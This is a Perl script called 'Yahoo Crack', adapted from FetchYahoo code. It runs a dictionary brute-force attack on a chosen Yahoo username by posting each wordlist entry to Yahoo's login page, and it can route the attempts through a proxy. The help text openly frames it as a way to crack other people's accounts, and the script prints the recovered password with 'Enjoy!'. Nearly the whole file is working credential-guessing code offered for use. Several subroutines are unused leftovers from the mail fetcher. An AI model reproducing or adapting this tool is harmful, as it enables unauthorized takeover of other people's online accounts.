#!/usr/bin/perl -w
###############################################################################
# Name: Yahoo Crack
# Purpose: Brute Forces a yahoo login ID
# Description:  OK, im not trying to pass this program off as my own creation. Most of the code
#		should be credited to the developer of FetchYahoo! As most of the subroutines
#		and code was his. I just took the code and modified as a project. The author (me)
#		takes no responsability for whatever you do with this code. If your ISP disables 
#		your account because Yahoo! lawyers told them too dont come crying to me. I left
#		the proxy ability enabled, but no guaruntee it still works. If this doesnt work
#		and formats your harddrive you have been warned, dont mess with the what you
#		do not understand or you will get burned.
#               
# Author:  GrassMunk
# License: Gnu Public License (?)
# Created: 28.01.03
my $version = "0.0" . ".1";
#

use strict;

use Getopt::Long ();
use HTTP::Request::Common qw(GET POST);
use HTTP::Cookies ();
use LWP::UserAgent ();
use MIME::Head ();
sub MyDie($);
sub MyGet;


my $username = 0;
my $password;
my $dictionary = 0;

my $noerrors = 0;
my $repeatInterval = 0;
my $baseurl = 0;
my @dictionary_data;
my $word;


my $useProxy = 0;               # set this to 1 to enable use of a web proxy
my $proxyHost = 'proxy.hostname.com';
my $proxyPort = 80;
my $proxyUser = 'proxyAuthenicationUserName';
my $proxyPass = 'proxyAuthenicationPassword';
my $quiet = 0;
my $useHTTPS = 1;               # set this to 0 to turn off HTTPS and transfer
                                # all information in plaintext (INSECURE)
                                # using HTTPS requires Crypt::SSLeay or
                                # IO::Socket::SSL

# I may need to edit these in future
# my $userAgent= 'FetchYahoo/' . $version;    switched to Galeon user string
my $userAgent = 
     "Mozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020911";

my $loginURL = 'http://login.yahoo.com/config/login';
my $HTTPSloginURL = 'https://login.yahoo.com/config/login';
my $mailURL = "http://mail.yahoo.com";
my $versionString = "Yahoo CRK  Version " . $version . " By: GrassMunk\n";

# other variables used
my $overwriteFlag = 0;
my $proxyURL;
my $background = 0;
# flag for help and version
my $helpFlag = 0;
my $versionFlag = 0;
my $content;
my %map  = ();     # hash for extension->MIMEtype mappings

my $help = <<EOF
$0 [options] 

	This program comes with no warranty. Use it at your own risk. This  program  was made
	to be an innocent experiment. I felt bad for  all the Yahoo people  who got  suckered
	into the old "Email me your yahoo  id and password and ill crack so and  so's account."
	This program was made because i thought it would be fun to make. I give no guaruntees
	for its  usage.  If you get  caught using it and  YAHOO! calls up  your ISP and  they 
	disconnect  you thats  your problem. With  that said, there are probably easier  ways 
	to  get somones yahoo password. This just  brute forces their  account, assuming they
	used a normal dictionary word ( i.e. 'dictionary' ).

	The program can take the following parameters:
	
--username=username	       this is the username you want to brute force [ REQUIRED ]	
--dictionary=dictionary-file   this is the dictionary file to use [ REQUIRED ]
--help                         display help showing the program options
--version                      print the version and exit	
--https                        use a secure login via HTTPS [ DEFAULT ]
--nohttps                      use an insecure plaintext login instead of HTTPS
--proxyhost=proxy.host.org     hostname for proxy [ DEFAULT off ]
--proxyport=N                  port for proxy [DEFAULT 80 ]
--proxyuser=proxy-user         username for proxy authentication[ DEFAULT none]
--proxypass=proxy-pass         password for proxy authentication[ DEFAULT none]

	example:	./yahoocrk.pl --username=born2rock --dictionary=dic.dat
EOF
;

# S T A R T   M A I N   P R O G R A M

print "\n----- Yahoo Crk By: GrassMunk -----\n\n";
# get other command-line input options. These take precedence over all others
Getopt::Long::Configure('no_pass_through');
Getopt::Long::GetOptions
(
 'help'              => \$helpFlag,
 'version'           => \$versionFlag,
 'username=s'        => \$username,
 'proxyhost=s'       => sub { $proxyHost= $_[1] ; $useProxy=1;},
 'proxyport=s'       => \$proxyPort,
 'proxyuser=s'       => \$proxyUser,
 'proxypass=s'       => \$proxyPass,
 'https!'            => \$useHTTPS, 
 'background'	     => \$background,
 'dictionary=s'	     => \$dictionary
 );


# For a proxy with authentication, create a URL like
# http://user:pass@host:port/
unless ($proxyPass eq 'proxyAuthenicationPassword') {
    $proxyHost = $proxyPass . '@' . $proxyHost; }
unless ($proxyUser eq 'proxyAuthenicationUserName') {
    $proxyHost = $proxyUser . ':' . $proxyHost; }

$proxyURL = 'http://' . $proxyHost . ':' . $proxyPort;
$proxyURL = $proxyHost . ':' . $proxyPort if ($useHTTPS) ;

if ( $useProxy && $proxyHost eq "proxy.hostname.com" &&
     exists ($ENV{'HTTP_PROXY'}) ) {
    $proxyURL = $ENV{'HTTP_PROXY'}; 
}

if ( $useProxy && $proxyHost eq "proxy.hostname.com" &&
     exists ($ENV{'http_proxy'}) ) {
    $proxyURL = $ENV{'http_proxy'}; 
}

$loginURL = $HTTPSloginURL if ($useHTTPS) ;

# unbuffer STDOUT
select((select(STDOUT), $| = 1)[0]);

# check if help or version was requested
if ($helpFlag) { print $versionString . "\n" . $help; exit; }
if ($versionFlag) { print $versionString; exit; }
# check if username and dictionary file was presented
if(!$username) { print "You MUST provide a username. Try --help for more options.\n"; exit;
} else { print "Using Username: $username\n"; }
			
if(!$dictionary) { print "You MUST provide a dictionary file. Try --help for more info.\n"; exit; }
else { 
	print "Using dictionary file: $dictionary\n"; 
	open(DICTIONARY, $dictionary) || die("Could not open file $dictionary. Maybe the path is wrong or you do not have read/write permission. Error: $! \n");
	@dictionary_data = <DICTIONARY>;
	close(DICTIONARY);

} 


if ( $useProxy && $proxyHost eq "proxy.hostname.com") {
    print "If you are using a web proxy (use-proxy=1), you must " .
	"specify the proxy hostname.\n\n";
    print $versionString . "\n" . $help; exit; 
}

# if daemon mode is chosen, fork into the background
#if ($background) {
#    print "Forking into the background.\n" unless $quiet ;
#    $SIG{CHLD} = 'IGNORE';
#    my $pid = fork;
#    exit if $pid;
#    die "Couldn't fork into background: $!" unless defined ($pid) ;
#}



# grab login cookies
my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
my $url = "";
my $request;

$ua->cookie_jar($cookie_jar);
$ua->agent($userAgent);
if ($useProxy) {
    if ($useHTTPS) {
	$ENV{HTTPS_PROXY} = $proxyURL;
    } else {
    	$ua->proxy('http', $proxyURL);
    }
}
#Now begin the loop
foreach $password (@dictionary_data)   {
  chomp($password);
		          			           
					   
$request = POST $loginURL,
    [
     '.tries' => '1',
     #'.done'  => 'URL to go to later',
     '.src'   => 'ym',
     '.intl'  => 'us',
     'login'  => $username,
     'passwd' => $password,
     ];

$request->content_type('application/x-www-form-urlencoded');
$request->header('Accept' => '*/*');
$request->header('Allowed' => 'GET HEAD PUT');

my $content = MyGet($request, 'log in', 1);

if ( $content =~ /Invalid Password/ ) {
        print "Wrong Password: ". $password ."\n";
 
}elsif ( $content =~ /ID does not exist/ ) {
    MyDie("Failed: Yahoo user $username does not exist\n");
} else {
    print "$username \'s password is : ". $password . "\n Enjoy! \n";
    exit;
}
# Yahoo's HTTPS login is broken and no longer redirects. This hacks around it.
if ($url eq "" ) {
    $request = GET $mailURL;
    my $content = MyGet($request, 'log in (2)', 1);
   
    if ( $content =~ /Invalid Password/ ) {
    	print "Wrong PASSWORD: $password\n";
	
	
    }elsif ( $content =~ /ID does not exist/ ) {
    	MyDie("Failed: Yahoo user $username does not exist\n");
    }
}


}
print "\nSorry,". $username ."\'s password was not in the dictionary file\n";


###############################################################################
# Subroutines
###############################################################################

# return the URL we're redirected to
sub GetRedirectUrl($) {
  my $response = $_[0];
  my $url = $response->header('Location') || return undef;

  # the Location URL is sometimes non-absolute which is not allowed, fix it
  local $URI::ABS_ALLOW_RELATIVE_SCHEME = 1;
  my $base = $response->base;
  $url = $HTTP::URI_CLASS->new($url, $base)->abs($base);

  return $url;
}

# parameters (request, action_being_attempted, die_if_failed)
# if die_if_failed is 0 failure will be denoted by returning "FAILED"

sub MyGet {
  my $request = $_[0];
  my $response;
  my $tries;
  for($tries=0;$tries<3;$tries++) {
    if ( $useProxy
         && !($proxyUser eq "proxyAuthenicationUserName")
         && !($proxyPass eq "proxyAuthenicationPassword") ) {
        $request->proxy_authorization_basic($proxyUser, $proxyPass);
    }
    $response = $ua->simple_request($request);
    while ( $response->is_redirect ) {
      $cookie_jar->extract_cookies($response);
      $url = GetRedirectUrl($response);
      $request = GET $url;
      if ( $useProxy
           && !($proxyUser eq "proxyAuthenicationUserName")
           && !($proxyPass eq "proxyAuthenicationPassword") ) {
        $request->proxy_authorization_basic($proxyUser, $proxyPass);
      }
      $response = $ua->simple_request($request);
    }
    my $content =  $response->content;

    # check for broken pages
    if ( $content =~ /^<html><head><title>Yahoo! -\n404/ ||
         ($content=~/^<!--web/ && 
          $content=~/There was a problem accessing your account/) ||
         $content =~ /^<html><head><title>Document Error: Data follows/ ||
         ($content=~/^<!--web/ && 
          $content=~
          /he request your browser sent was missing some needed information/)||
         ($content=~/^<html>/ && 
          $content=~
          /<title>Sorry, this page is not currently available<\/title>/ ) ||
         ($content=~/^<!--web/ && 
          $content=~
          /Your login session has expired/ ) )
      { next; }

    if ( $response->is_success ) { return $content; }
  }

  if ( $response->is_error
       && $request->url->scheme eq "https"
       && $response->message =~ /LWP::Protocol::https/ )
    {
      die "HTTPS secure login is now turned on by default.\n\n".
        "Unable to login securely with HTTPS. You may need to install ".
        "the Crypt::SSLeay or IO::Socket::SSL perl module. Please ".
        "check the webpage or INSTALL file for information on how to ".
        "install perl modules.\n\n".
        "Alternatively you can turn off HTTPS secure login to use an".
        "insecure plaintext login (-nohttps or edit the config file).\n";
    }

  if ($_[2]) {
    print $request->uri()."\n" . $response->status_line . "\n"
      unless $noerrors;
    MyDie("Failed: Couldn't " . $_[1] . ".\n");
  }
  else {
    print $request->uri()."\n" . $response->status_line . "\n"
      unless $noerrors;
    print"Warning: Couldn't " . $_[1] . ".\n" unless $noerrors;
    return "FAILED";
  }

}


sub MyDie($) {
  if ($repeatInterval > 0) {
    sleep (60*$repeatInterval);
    goto startfetch ;
  }

  die shift unless $noerrors ;
  die ;
}

sub Localize($) {
  my ($cc) = @_;
  if (not grep /$cc/, ('us','fr','es','e1','de','it','br','ca','uk')) {
    print "Country Code '$cc' not found. We will try the translation for 'us'.\n"
      unless $quiet;
    $cc='us';
  }
  my $strings;
  my %localized_strings = 
    ('us' => { 'msg_range' => 'showing (\d+)-(\d+) of (\d+)',
               'new_msg_range' => 'Messages (\d+)-(\d+) of (\d+)',
               'no_msgs'   => 'Folder\s*[\sa-zA-Z]*\s*has\s*no\s+',
               'new_no_msgs' => 'This\s*folder\s*has\s*no[\sunread]*messages',
               'p_view'    => 'Printable\&nbsp;View' },
     'fr' => { 'msg_range' => '(\d+)-(\d+) sur (\d+)',
               'new_msg_range' => 'Messages (\d+)-(\d+) sur (\d+)',
               'no_msgs'   =>
               'Dossier\s*Boîte\s*de\s*réception\s*sans\s*messages',
               'new_no_msgs'   =>
               'Ce\s*dossier\s*ne\s*contient\s*pas\s*de\s*messages',
               'p_view'    => 'Version\&nbsp;imprimable' },
     'es' => { 'msg_range' => 'Mostrando (\d+)-(\d+) de (\d+)',
               'new_msg_range' => 'Mensajes (\d+)-(\d+) de (\d+)',
               'no_msgs'   => 
               'La\s*carpeta\s*Bandeja\s*de\s*entrada\s*está\s*vacía',
               'new_no_msgs' =>
               'No\s*hay\s*ningún\s*mensaje\s*sin\s*leer\s*en\s*la\s*carpeta',
               'p_view'    => 'Vista para imprimir' },
     'e1' => { 'msg_range' => 'Mostrando (\d+)-(\d+) de (\d+)',
               'new_msg_range' => 'Mensajes (\d+)-(\d+) de (\d+)',
               'no_msgs'   => 'La\s*carpeta\s*Bandeja\s*de\s*entrada\s*está\s*vacía',
               'new_no_msgs' =>'Esta\s*carpeta\s*no\s*tiene\s*mensajes\s*mensajes\s*no\s*leídos',
               'p_view'    => 'Vista para imprimir' },
     'de' => { 'msg_range' => 'werden (\d+)-(\d+) von (\d+)',
               'no_msgs'   => 'Der\s*Ordner\s*Posteingang\s*hat\s*keine\s*Nachrichten',
               'p_view'    => 'Druckansicht' },
     'it' => { 'msg_range' => 'mostra (\d+)-(\d+) di (\d+)',
               'no_msgs'   => 'La\s*cartella\s*In\s*arrivo\s*non\s*contiene\s*messaggi',
               'p_view'    => 'Anteprima&nbsp;di&nbsp;stampa' },
     'br' => { 'msg_range' => 'exibindo (\d+)-(\d+) de (\d+)',
               'no_msgs'   => 'A\s*pasta\s*Caixa\s*de\s*entrada\s*não',
               'p_view'    => 'Visualizar&nbsp;impressão' }
    );

  $cc = 'us' if $cc eq 'uk';
  $cc = 'us' if $cc eq 'ca';
  if ($strings = $localized_strings{$cc}) { return %$strings; } 
  else { return 0; }

}

sub checkExternal() {
  my @content;
  my @extboxen;
  my $tmpurl;
  print "Checking external boxen..\n" unless $quiet;
  $request = GET $baseurl . "/ym/External";
  $content = MyGet ($request, 'get external mailboxes listing', 0);
  #$content =~ s/Exhref=\"(.*)\"/$1/g;
  @content = split(/\n/, $content);
  @extboxen = grep s/.*href=\"(.*?External\?GET[^"]*)\".*/$1/g,@content;  #" heh

  # just loading the URL for an external mailbox loads the messages from it
  foreach $tmpurl (@extboxen) {
    $_ = $tmpurl;
    s/.*Srvr=(.*?)\&.*/$1/;
    print $_ . "\n" unless $quiet ;
    $request = GET $baseurl . $tmpurl;
    $content = MyGet ($request, 'get external mailbox messages', 0);
  }
}